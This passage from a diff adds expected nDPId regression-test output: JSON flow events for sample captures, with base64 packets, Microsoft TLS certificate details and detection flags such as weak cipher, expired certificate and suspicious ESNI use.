+02368{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ERERERERIiIiIiIiCABFAAXc5PJAADUGLVrVx5X7CgAAAQG7emnv2LZrZGeGnVAQGJhAQwAAFgMBAEoCAABGAwEAAAAAWuuHTEcV+akd0cdt\/mCIl2W0D3ZsYen8qlKhhyDexkYNJNvmICdLfXfmBpGxedPIi6ruP\/C4V2lgLy7HPwAvABYDARoFCwAaAQAZ\/gAOyDCCDsQwgg2soAMCAQICCmkXyLYACAACTA8wDQYJKoZIhvcNAQEFBQAwgYsxEzARBgoJkiaJk\/IsZAEZFgNjb20xGTAXBgoJkiaJk\/IsZAEZFgltaWNyb3NvZnQxFDASBgoJkiaJk\/IsZAEZFgRjb3JwMRcwFQYKCZImiZPyLGQBGRYHcmVkbW9uZDEqMCgGA1UEAxMhTWljcm9zb2Z0IFNlY3VyZSBTZXJ2ZXIgQXV0aG9yaXR5MB4XDTExMTAyMTE2NDIwM1oXDTEzMTAyMDE2NDIwM1owggVRMQswCQYDVQQGEwJVUzEQMA4GA1UEBxMHUmVkbW9uZDESMBAGA1UEChMJTWljcm9zb2Z0MQwwCgYDVQQLEwNHRlMxHjAcBgNVBAMMFSoub2ZmaWNlYXBwcy5saXZlLmNvbTEUMBIGA1UEAwwLKi5tc2Fkcy5uZXQxGTAXBgNVBAMMECouYWRzMi5tc2Fkcy5uZXQxGDAWBgNVBAMMDyouc3RjLnMtbXNuLmNvbTEtMCsGA1UEAwwkY2RuLmRjMmZpbGVzLioubGl2ZWZpbGVzdG9yZS1pbnQuY29tMSAwHgYDVQQDDBdjZG4uKi5saXZlZmlsZXN0b3JlLmNvbTEoMCYGA1UEAwwfKi5tYXJrZXRwbGFjZS53aW5kb3dzbW9iaWxlLmNvbTEsMCoGA1UEAwwjKi5tYXJrZXRwbGFjZS53aW5kb3dzbW9iaWxlLWludC5jb20xLTArBgNVBAMMJCoubWFya2V0cGxhY2Uud2luZG93c21vYmlsZS1wZXJmLmNvbTEYMBYGA1UEAwwPKi5zdGoucy1tc24uY29tMRswGQYDVQQDExJhamF4Lm1pY3Jvc29mdC5jb20xJDAiBgNVBAMMGyoubWljcm9zb2Z0LXNicy1kb21haW5zLmNvbTETMBEGA1UEAwwKKi5saXZlLm5ldDESMBAGA1UEAwwJKi5tc24uY29tMRYwFAYDVQQDDA0qLm1zbi1pbnQuY29tMSMwIQYDVQQDDBoqLmYxZHMuc2hhcmVkLmxpdmUtaW50LmNvbTEdMBsGA1UEAwwUKi5mMWRzLndseHJzLWludC5jb20xHjAcBgNVBAMMFSouc2hhcmVkLmxpdmUtaW50LmNvbTEaMBgGA1UEAwwRKi5zaGFyZWQubGl2ZS5jb20xGDAWBgNVBAMMDyoubWljcm9zb2Z0LmNvbTETMBEGA1UEAwwKKi5saXZlLmNvbTEXMBUGA1UEAwwOKi5saXZlLWludC5jb20xFDASBgNVBAMMCyoud2x4cnMuY29tMRgwFgYDVQQDDA8qLndseHJzLWludC5jb20xFzAVBgNVBAMMDiouc3Qucy1tc24uY29tMRgwFgYDVQQDDA8qLnN0Yi5zLW1zbi5jb20xKTAnBgNVBAMTIGltYWdlcy5tb3h5LndpbmRvd3NwaG9uZS1pbnQuY29tMRkwFwYDVQQDDBAqLndseHJzdS1pbnQuY29tMSwwKgYDVQQDEyNpbWFnZXMucGFydG5lci53aW5kb3dzcGhvbmUtaW50LmNvbTEoMCYGA1UEAxMfaW1hZ2VzLnBhcnRuZXIud2luZG93c3Bob25lLmNvbTEVMBMGA1UEAwwMKi5qcC5tc24uY29tMRswGQYDVQQDDBIqLmMzc2NzLmpwLm1zbi5jb20xGDAWBgNVBAMMDyouYXNwbmV0Y2RuLmNvbTEWMBQGA1UEAwwNKi5ob3RtYWlsLmNvbTEqMCgGA1UEAwwhKi5wYXJ0bmVyLWRmLndpbmRvd3NwaG9uZS1pbnQuY28="} +00811{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":946681200000,"flow_last_seen":946681200000,"flow_tot_l4_data_len":1627,"flow_min_l4_data_len":147,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":813,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"213.199.149.251","src_port":31337,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"ads1.msads.net","ja3":"2201d8e006f8f005a6b415f61e677532","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +02365{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ERERERERIiIiIiIiCABFAAXc5PNAADUGLVnVx5X7CgAAAQG7emnv2LwfZGeGnVAQGJjDXgAAbTEUMBIGA1UEAwwLKi5zLW1zbi5jb20xFzAVBgNVBAMMDioubGl2ZS1pbnQubmV0MR8wHQYDVQQDDBYqLndpbmRvd3NwaG9uZS1pbnQuY29tMRswGQYDVQQDDBIqLndpbmRvd3NwaG9uZS5jb20xKjAoBgNVBAMMISoucGFydG5lci1wYy53aW5kb3dzcGhvbmUtaW50LmNvbTEfMB0GA1UEAwwWKi5tYW5hZ2UubWljcm9zb2Z0LmNvbTEYMBYGA1UEAwwPKi52by5tc2VjbmQubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuX3PkoiInBfw68+6JNH406C4alrEnikcq1FZEZJZj8A0h7uDLWO01R+9CYljtZsYv4E+pfWvi8Z31QoN\/mqJYHgutax6\/UWMDIxFsXaIn1iXAoBA481Pyqa8XbzdmibAvotkEOm0ksJYJlu7VrGuQP+fyz69HW2nTnewmEyTsEy9pTZjqsxFdtBcWm2sS5KQA3Hoj6NzWl54VkXacUcpgQraZZFiSKVJpxhZpAqND3x7NCgSdQvwN2uTFwRCsRagxmCSSaZkQSbYCDh7lvCo6r5wBODibkMqCxrJ4nyg5Uw+J74SsSHhtBMkb6YMlWe5gPOyYSZfIVCby4onZWx45wIDAQABo4IGXzCCBlswDAYDVR0TAQH\/BAIwADALBgNVHQ8EBAMCBLAwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMIIDowYDVR0RBIIDmjCCA5aCDyoudm8ubXNlY25kLm5ldIIVKi5vZmZpY2VhcHBzLmxpdmUuY29tggsqLm1zYWRzLm5ldIIQKi5hZHMyLm1zYWRzLm5ldIIPKi5zdGMucy1tc24uY29tgiRjZG4uZGMyZmlsZXMuKi5saXZlZmlsZXN0b3JlLWludC5jb22CF2Nkbi4qLmxpdmVmaWxlc3RvcmUuY29tgh8qLm1hcmtldHBsYWNlLndpbmRvd3Ntb2JpbGUuY29tgiMqLm1hcmtldHBsYWNlLndpbmRvd3Ntb2JpbGUtaW50LmNvbYIkKi5tYXJrZXRwbGFjZS53aW5kb3dzbW9iaWxlLXBlcmYuY29tgg8qLnN0ai5zLW1zbi5jb22CEmFqYXgubWljcm9zb2Z0LmNvbYIbKi5taWNyb3NvZnQtc2JzLWRvbWFpbnMuY29tggoqLmxpdmUubmV0ggkqLm1zbi5jb22CDSoubXNuLWludC5jb22CGiouZjFkcy5zaGFyZWQubGl2ZS1pbnQuY29tghQqLmYxZHMud2x4cnMtaW50LmNvbYIVKi5zaGFyZWQubGl2ZS1pbnQuY29tghEqLnNoYXJlZC5saXZlLmNvbYIPKi5taWNyb3NvZnQuY29tggoqLmxpdmUuY29tgg4qLmxpdmUtaW50LmNvbYILKi53bHhycy5jb22CDyoud2x4cnMtaW50LmNvbYIOKi5zdC5zLW1zbi5jb22CDyouc3RiLnMtbXNuLmNvbYIgaW1hZ2VzLm1veHkud2luZG93c3Bob25lLWludC5jb22CECoud2x4cnN1LWludC5jb22CI2ltYWdlcy5wYXJ0bmVyLndpbmRvd3NwaG9uZS1pbnQuY29tgh9pbWFnZXMucGFydG5lci53aW5kb3dzcGhvbmUuY29tggwqLmpwLm1zbi5jb22CEiouYzNzY3MuanAubXNuLmNvbYIPKi5hc3BuZXRjZG4uY29tgg0qLmhvdG1haWwuY29tgiEqLnBhcnRuZXItZGYud2luZG93c3Bob25lLWludC5jb22CCyoucy1tc24uY29tgg4qLmxpdmUtaW50Lm5ldIIWKi53aW5kb3dzcGhvbmUtaW50LmNvbYISKi53aW5kb3dzcGhvbmUuY29tgiEqLnBhcnRuZXI="} +02375{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ERERERERIiIiIiIiCABFAAXc5PRAADUGLVjVx5X7CgAAAQG7emnv2MHTZGeGnVAQGJhsRwAALXBjLndpbmRvd3NwaG9uZS1pbnQuY29tghYqLm1hbmFnZS5taWNyb3NvZnQuY29tMB0GA1UdDgQWBBR3cTg6hCQojXMJJ5D1bQIhPIcNAjAfBgNVHSMEGDAWgBQIQuPbThFm87UIxUDbVXwzRhGDODCCAQoGA1UdHwSCAQEwgf4wgfuggfiggfWGWGh0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMFNlY3VyZSUyMFNlcnZlciUyMEF1dGhvcml0eSg4KS5jcmyGVmh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBTZWN1cmUlMjBTZXJ2ZXIlMjBBdXRob3JpdHkoOCkuY3JshkFodHRwOi8vY29ycHBraS9jcmwvTWljcm9zb2Z0JTIwU2VjdXJlJTIwU2VydmVyJTIwQXV0aG9yaXR5KDgpLmNybDCBvwYIKwYBBQUHAQEEgbIwga8wXgYIKwYBBQUHMAKGUmh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMFNlY3VyZSUyMFNlcnZlciUyMEF1dGhvcml0eSg4KS5jcnQwTQYIKwYBBQUHMAKGQWh0dHA6Ly9jb3JwcGtpL2FpYS9NaWNyb3NvZnQlMjBTZWN1cmUlMjBTZXJ2ZXIlMjBBdXRob3JpdHkoOCkuY3J0MD8GCSsGAQQBgjcVBwQyMDAGKCsGAQQBgjcVCIPPiU2t8gKFoZ8MgvrKfYHh+3SBT4PC7YUIjqnShWMCAWQCAQowJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATANBgkqhkiG9w0BAQUFAAOCAQEAzjHSjzBBboE6Hf63YDAZ0eEE3Fr233P7k1evyql\/LmafHbV8kz4aMun+H+VIZeRM5Bql9x7WpjwQDS+J+smj4QnJo\/6ntdr3MlGPRoDRdkfFG7SosnI\/eCbIu9XuIWOHkZSH4\/9X7izdGgsuT0UnVndeXlHcgDw1ihOLBtxnkosbQSMKCF9\/HjID72MCp56vMoSU+WuvUQXXBr\/LgJr8eUtWe0pS65dkmCZ\/QNCuARDC2VnL+opy23sLHDSC3saZZQ+ZMxgShBWj\/VUrF5JAj8XmonqXVJeNovnT8++jWSd9AcVEkeZAo2TqMC\/26PhofncqN75eWaN2qQf74Z0rNwAGFzCCBhMwggP7oAMCAQICCmEDMzYABQAAADAwDQYJKoZIhvcNAQEFBQAwJzElMCMGA1UEAxMcTWljcm9zb2Z0IEludGVybmV0IEF1dGhvcml0eTAeFw0xMDA1MTkyMjEzMzBaFw0xNDA1MTkyMjIzMzBaMIGLMRMwEQYKCZImiZPyLGQBGRYDY29tMRkwFwYKCZImiZPyLGQBGRYJbWljcm9zb2Z0MRQwEgYKCZImiZPyLGQBGRYEY29ycDEXMBUGCgmSJomT8ixkARkWB3JlZG1vbmQxKjAoBgNVBAMTIU1pY3Jvc29mdCBTZWN1cmUgU2VydmVyIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOqfX5ELzRmCX5Hqq\/WLKNiL9Rzgkcm8zQIQUCK3OApcz3EMWC2IbKi4PDNj+XOdPOnDee3y\/snLw24k4jxCcNhft1v3m1\/1J294AOuWXbdvz+RBBPC7Q71vXyYPt443QRNUZxuQACc4uBrDlm0cMTU1ScVGHudzpMoDEXlBga\/Tjkaixb4AUwW5OJy3YCmzylKaksVTJ7ZBDUD4L5vngUkaWmqoT3HH6G2BvifvydbGkisQ5DY1QAjQTXD9cJsgHLO533WdK3fQxM1qce9aWAv5cIU="} +02376{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ERERERERIiIiIiIiCABFAAXc5UxAADUGLQDVx5X7CgAAAQG7emnv2MeHZGeGnVAQGJhPMQAAiAWJbWaSMKuviDnX1C0Llpx4JK8Aq88JPhOua8Pg4c9gf4tT3ALQ87CGEd69AgMBAAGjggHaMIIB1jASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBQIQuPbThFm87UIxUDbVXwzRhGDODALBgNVHQ8EBAMCAYYwEgYJKwYBBAGCNxUBBAUCAwgACDAjBgkrBgEEAYI3FQIEFgQUforCnFoyjMJxotlPdXD3qRv2lAUwGQYJKwYBBAGCNxQCBAweCgBTAHUAYgBDAEEwHwYDVR0jBBgwFoAUMyHwy\/6ioESS3vY7M9hfAUuXeF0wgaMGA1UdHwSBmzCBmDCBlaCBkqCBj4Y2aHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvbXN3d3coNSkuY3JshjRodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvbXN3d3coNSkuY3Jshh9odHRwOi8vY29ycHBraS9jcmwvbXN3d3coNSkuY3JsMHkGCCsGAQUFBwEBBG0wazA8BggrBgEFBQcwAoYwaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvbXN3d3coNSkuY3J0MCsGCCsGAQUFBzAChh9odHRwOi8vY29ycHBraS9haWEvbXN3d3coNSkuY3J0MA0GCSqGSIb3DQEBBQUAA4ICAQCPwtFc7xQRdxdjBzxMfGja\/oZK4iDMP7AnPdHirMiLSKbkWfc6Bq19UvH2ZWGWISKuaL4vet6zDPXpxd34ZYJdy2w+DDcRdBUJeFW9JhK71pV007z1dgkqat82xI5W1R8g33+CMNdDq2gii2paxZvQnY0LDFCFfsxagAeLA06\/vV9sVg8FqeJUw6XTUlxfTQvdBfhREgMhb5xsl5gqwcERvL0brvvjV19PHwCe4qRR0\/esCTdYpQkh0XLQssGL203cE9FUWE0rwK36Uxk1sRWoQmS37ccfpXmoDTjUUL\/0Wv8v6b8\/fTjl+yAM1E7gLx1FevsoLzFIb8xuXGhC+urICwEw7BAmQjgjqcMZuNlwGmgsksufc+bM\/zMj7ttetX8FWD9QxRwIGPTrL2KqU\/ehzd7j64IcGmdroUynaHFA0WU7QRicSeNx++tNg5PTR+ZkQsu2NRz7NA6hKPuMoacfAShR5XGUN5zcQVt8fuksI2eUnXPfX0B5o42VMMxTFwi8UIbz\/BAZgfz0Wm7z3KKadXvDrKBR7TK2WN9PjpFTatKqG13mU7iJo56JoeMp4LNs6xrMb1qqwuL2HkUp79bCQ7E7rT4m\/IGXXEj9Ylk0ksn7uaHXQgX7GfZ+MvspNNWHZuUEHcg+EPqmePUefd4aOnh83CpxBqMtbwVVI4uQ7wAFFjCCBRIwggR7oAMCAQICBAcnYgIwDQYJKoZIhvcNAQEFBQAwdTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD0dURSBDb3Jwb3JhdGlvbjEnMCUGA1UECxMeR1RFIEN5YmVyVHJ1c3QgU29sdXRpb25zLCBJbmMuMSMwIQYDVQQDExpHVEUgQ3liZXJUcnVzdCBHbG9iYWwgUm9vdDAeFw0xMDA0MTQxODEyMjZaFw0xODA0MTQxODEyMTRaMCcxJTAjBgNVBAMTHE1pY3Jvc29mdCBJbnRlcm5ldCBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC99M0npUrYkBnbsgp7YKROjw6Yo5x8UHbrs0qMnxiw55rFK4KGCSisERIyJvUZ6vC4Z2jFBv30Ga7ZE6DQgScIpnmcBPVIMi42H6trJuyhQ7SdgLBJA+qCSV8FE8Wgg1\/hKvQEGUt+yNqIvLVdA7x4VqHpf8Vq77b\/HQFZtx9TWl\/G+JFtxX1Dkxg="} +01643{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":968,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":968,"pkt_l4_len":934,"pkt":"ERERERERIiIiIiIiCABFAAO65U1AADUGLyHVx5X7CgAAAQG7emnv2M07ZGeGnVAYGJh7iQAAdEXtFbqyfMg6NBQeqmP35dRLyCMrh2mVE5kJFO96ASBOt8ZIQa7JhwEp2cKHOH+2QqTwss4t\/bRMV\/Co1stO+l9d\/bn7CdwWhWTlcZzV8TOXOGcum7wXNgV+EDZ\/fuuYWlscraXnCRB9+Uovs483FdZvuVs33Leff45mfyNc7RJ\/jAfw\/hn5uDRDe7LqhfuMqarf\/ZENLPX7r5eJ8QaKr0n2PC4j9kQWJZER4iPDyoVVSSrIIa99ESaGsChFuofuNhOB1UtHGo7bCfHRlylQFDKZCePywOdTj2v0+hNcPI3uVJkPJ0dOPBLzjxIXRvCJakWztTwMd0UEL72+tZ6YPAU7u0E5hCC8eQTWQs0+iennejdJELTMnyRcI6ZIbvvj1O4hKZPk\/YAaGzpswffr2dRNvvER9qKOQiShT2m10mgUidmfkNgfnhvmbWQlKbY0Q6Rb9Q3rdAZ+n\/Fj3EWnfDqaXGtz2MNYBI6IbxPQ5tDfzcQKDgcCAwEAAaOCAXcwggFzMBIGA1UdEwEB\/wQIMAYBAf8CAQEwWwYDVR0gBFQwUjBIBgkrBgEEAbE+AQAwOzA5BggrBgEFBQcCARYtaHR0cDovL2N5YmVydHJ1c3Qub21uaXJvb3QuY29tL3JlcG9zaXRvcnkuY2ZtMAYGBFUdIAAwDgYDVR0PAQH\/BAQDAgGGMIGJBgNVHSMEgYEwf6F5pHcwdTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD0dURSBDb3Jwb3JhdGlvbjEnMCUGA1UECxMeR1RFIEN5YmVyVHJ1c3QgU29sdXRpb25zLCBJbmMuMSMwIQYDVQQDExpHVEUgQ3liZXJUcnVzdCBHbG9iYWwgUm9vdIICAaUwRQYDVR0fBD4wPDA6oDigNoY0aHR0cDovL3d3dy5wdWJsaWMtdHJ1c3QuY29tL2NnaS1iaW4vQ1JMLzIwMTgvY2RwLmNybDAdBgNVHQ4EFgQUMyHwy\/6ioESS3vY7M9hfAUuXeF0wDQYJKoZIhvcNAQEFBQADgYEAK0jzlPtExZNq1k3+tBNOEiYXyrJaqwm5VqRvf1eeZLL15NM172Nly+UsFZzvzvgqxZJkK0k+PDZsvRibZGeXP+1o0BbBEzzyUaBX3iTONatpkE4rDDr5tPGA+m0AeaY6lplOOm5U0KNZbosdlUm7ldh1uOESM6xcJ7vLVXHV+u0WAwEABA4AAAA="} +02965{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":946681200000,"flow_last_seen":946681200000,"flow_tot_l4_data_len":7001,"flow_min_l4_data_len":147,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1166,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"213.199.149.251","src_port":31337,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher","9":"TLS Expired Certificate"},"proto":"TLS.Microsoft","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"ads1.msads.net","server_names":"*.vo.msecnd.net,*.officeapps.live.com,*.msads.net,*.ads2.msads.net,*.stc.s-msn.com,cdn.dc2files.*.livefilestore-int.com,cdn.*.livefilestore.com,*.marketplace.windowsmobile.com,*.marketplace.windowsmobile-int.com,*.marketplace.windowsmobile-perf.com,*.stj.s-msn.com,ajax.microsoft.com,*.microsoft-sbs-domains.com,*.live.net,*.msn.com,*.msn-int.com,*.f1ds.shared.live-int.com,*.f1ds.wlxrs-int.com,*.shared.live-int.com,*.shared.live.com,*.microsoft.com,*.live.com,*.live-int.com,*.wlxrs.com,*.wlxrs-int.com,*.st.s-msn.com,*.stb.s-msn.com,images.moxy.windowsphone-int.com,*.wlxrsu-int.com,images.partner.windowsphone-int.com,images.partner.windowsphone.com,*.jp.msn.com,*.c3scs.jp.msn.com,*.aspnetcdn.com,*.hotmail.com,*.partner-df.windowsphone-int.com,*.s-msn.com,*.live-int.net,*.windowsphone-int.com,*.windowsphone.com,*.partner-pc.windowsphone-int.com,*.manage.microsoft.com","ja3":"2201d8e006f8f005a6b415f61e677532","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=Microsoft Secure Server Authority","issuerDN":"C=US, L=Redmond, O=Microsoft, OU=GFS, CN=*.officeapps.live.com, CN=*.msads.net, CN=*.ads2.msads.net, CN=*.stc.s-msn.com, CN=cdn.dc2files.*.livefilestore-int.com, CN=cdn.*.livefilestore.com, CN=*.marketplace.windowsmobile.com, CN=*.marketplace.windowsmobile-int.com, CN=*.marketplace.windowsmobile-perf.com, CN=*.stj.s-msn.com, CN=ajax.microsoft.com, CN=*.microsoft-sbs-domains.com, CN=*.live.net, CN=*.msn.com, CN=*.msn-int.com, CN=*.f1ds.shared.live-int.com, CN=*.f1ds.wlxrs-int.com, CN=*.shared.live-int.com, CN=*.shared.live.com, CN=*.microsoft.com, CN=*.live.com, CN=*.live-int.com, CN=*.wlxrs.com, CN=*.wlxrs-int.com, CN=*.st.s-msn.com, CN=*.stb.s-msn.com, CN=images.moxy.windowsphone-int.com, CN=*.wlxrsu-int.com, CN=images.partner.windowsphone-int.com, CN=images.partner.windowsphone.com, CN=*.jp.msn.com, CN=*.c3scs.jp.msn.com, CN=*.aspnetcdn.com, CN=*.hotmail.com, CN=*.partner-df.windowsphone-int.com, CN=*.s-msn.com, CN=*.live-int.net, CN=*.windowsphone-int.com, CN=*.windowsphone.com, CN=*.partner-pc.windowsphone-int.com, CN=*.manage.microsoft.com, CN=*.vo.msecnd.net","fingerprint":"FF:BF:9A:69:8F:C8:44:FF:89:F2:61:49:A7:D1:9A:98:DE:32:84:3B"}} diff --git a/test/results/tls_esni_sni_both.pcap.out b/test/results/tls_esni_sni_both.pcap.out new file mode 100644 index 000000000..1c6362086 --- /dev/null +++ b/test/results/tls_esni_sni_both.pcap.out @@ -0,0 +1,36 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1595697574192,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.21","dst_ip":"104.17.175.85","src_port":55500,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":192522,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LLBdqyO5+P\/CRWqLCABFAABAAABAAEAGYZTAqAEVaBGvVdjMAbsVnUj1AAAAALAC\/\/+ITAAAAgQFtAEDAwYBAQgKRX5W8wAAAAAEAgAA"} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":222665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"+P\/CRWqLLLBdqyO5CABFAAA0AABAADkGaKBoEa9VwKgBFQG72MxjNlEZFZ1I9oAS\/\/+oqwAAAgQFeAEBBAIBAwMK"} +00417{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":222752,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjMAbsVnUj2YzZRGlAQEADZRAAA"} +01279{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":223192,"pkt_caplen":688,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":688,"pkt_l4_len":654,"pkt":"LLBdqyO5+P\/CRWqLCABFAAKiAABAAEAGXzLAqAEVaBGvVdjMAbsVnUj2YzZRGlAYEABWzQAAFgMBAnUBAAJxAwMGpWRlayh22tFtXEAzmjJevDFs1IWqC4u2bXbxwIE69xC3C2PdEU5UEeZFLwoPl1YAAAYTAxMBEwIBAAIyAAAAMwAxAAAudGhlc2UtYXJlLW5vdC10aGUtZHJvaWRzLXlvdXJlLWxvb2tpbmctZm9yLmNvbf\/OAW4TAQAdACDbPfgwm2DuUZA1nST0TTbZcl3w+W\/UxK+KeNTQ8XZoWAAgv3B+CGpVXz5mDsUtrAvL6LtcWXtckj8m0zxukSXGubwBJLiEXRo3Il0FXLcYe218vYUq39pSaQl2gMs4ivT8n1x7zgN3LVJZggr8LaXJSaZj+ZfScLvSUl0NfE2D5vqc+gOMHnjCyEe7IDOFOZjn05FzfBy7N5ap9\/JNXoj2xa+U6V2TwvihaOc\/GNCQ6radfGia+nrZvKr+\/PSWUJ3U3+s+ls4zTysApsA8H5wb9QQLoDHnidAxhd22vS0hBakUY1GaI8quApXj8Gi3AdmbGrSGWDxyVN2ge+mdUMI+RoHLYqX6pmmt\/vdmkxN3iLPApbDuw24AT4oR57WxTdN\/UMH28g1ogoYgvvt0YKXWkQJVwSb5If5rcPLpxymWg\/rm+dBosTm60e9wnaghZCsA+n\/Ru6RO9sPaxhBDxDQiTz5XD2LapL8ABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABgAFggEBAEEAwgFBQEFAwgGBgEGAwIBAgMAMgASABAEAQQDBQEFAwYBBgMCAQID\/wEAAQAAEgAAADMAJgAkAB0AIKwXrYJPOPenZGQf1a2Cz8a6UMLnBYZ9xGnya\/eMwngzACsAAwIDBA=="} +00872{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1595697574192,"flow_last_seen":1595697574223,"flow_tot_l4_data_len":750,"flow_min_l4_data_len":20,"flow_max_l4_data_len":654,"flow_avg_l4_data_len":187,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.21","dst_ip":"104.17.175.85","src_port":55500,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","21":"TLS Suspicious ESNI Usage"},"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": 